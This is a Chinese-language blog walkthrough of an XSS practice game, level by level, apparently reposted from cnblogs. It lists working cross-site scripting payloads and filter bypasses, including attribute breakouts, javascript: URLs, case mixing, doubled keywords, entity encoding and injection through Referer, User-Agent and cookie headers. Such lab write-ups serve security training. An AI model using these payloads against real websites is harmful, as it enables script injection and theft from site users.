XSS小游戏

 

 

第一关

直接在URL输入

?name=<script>alert('xss')</script>

 

第二关

找源码,输入test,value值变为test,我们可以在输入框尝试xss攻击

闭合前面的input标签,在插入代码

payload

"><script>alert('xss')</script>

 

 

 

第三关

依旧输入test找注入点

输入"><script>alert('xss')</script>

 

htmlspecialchars()转义成HTML实体

 但是htmlspecialchars在默认情况下不会转义单引号,需要设置quotestyle才会进行转义

我们可以从单引号测试 payload

'οnclick='window.alert()

 

 

第四关

 尝试输入<script>alert('xss')</script>

明显的过滤掉了 < >

这里构造payload绕过 < >

"οnclick="window.alert('xss')

 

 第五关

尝试输入<script>alert('xss')</script>

将前面的script变成scr_ipt

用其他语句绕过

输入"onlick="window.alert()

依旧替换 on变成o_n

我们采用JavaScript伪协议

"><a href="javascript:alert('xss')">1</a>

点击 1 成功绕过

 

第六关

直接测试了一下,过滤了很多,查看源码

 

我们可以采用大小写混合拼写绕过

"><img Src=x Onerror=alert(1)>

 

第七关

测试了一下,script跟on等直接没了

推测被替换成空,查看源码

果不其然,替换为空,一般采用双写绕过

"><scrscriptipt>alert('xss')</scrscriptipt>

 

 第八关

输入tes

查看源码,过滤了很多,双引号也被过滤掉了

 

这里我们只要输入JavaScript:alert(‘xss’)即可

但是script被替换成scr_ipt

我们可以采用编码的形式绕过

payload

javascri&#x70;t:alert() #HTML实体编码(HEX) 
javascri&#112;t:alert()   #HTML实体编码(DEC) 

这是实体编码 entity code

「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。

 

第九关

输入test测试一下,test出现在value值里面

 

查看源码,比之前多了一串,需要添加http://,否则无效

那么就添加http://

/*这是是注释*/

构造payload

javascri&#x70;t:alert()/*http://www.test.com*/

 

 第十关

分析源码,keyword跟t_sort两个可以进行get传值,同时t_sort过滤掉了<>,并且t_sort隐藏了

构造payload

?t_sort="οnclick="alert()"type="text"

?t_sort="οnclick="alert()"type="text"

 

 

第十一关

可以用HTTP头的referer进行注入,这里我们需要burpsuite抓包

payload

t_sort="type="text" οnclick="alert(1)

 

 

 

 第十二关

 

这里是HTTP头中的Uuser-agent进行注入

构造payload

"type="text" οnclick="alert(1)

在User-Agent后面跟随payload即可

 

第十三关

cookie注入

user=" type="text" οnclick="alert(1)"

 

第十四关

???待研究

 

第十五关

ng-include 指令用于包含外部的 HTML 文件

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下

payload

http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 οnerrοr=alert(1)>'

不知道为什么自己的靶机环境不能跳转出通过(待研究)

 

第十六关

转义成HTML实体,黑名单容易忽略过滤的字符

payload

?keyword=<img%0asrc=1%0aοnerrοr=alert()>
%0a %0b %0c %0d (回车换行) 空格绕过

 




 

 

 

转载于:https://www.cnblogs.com/gaonuoqi/p/11396644.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值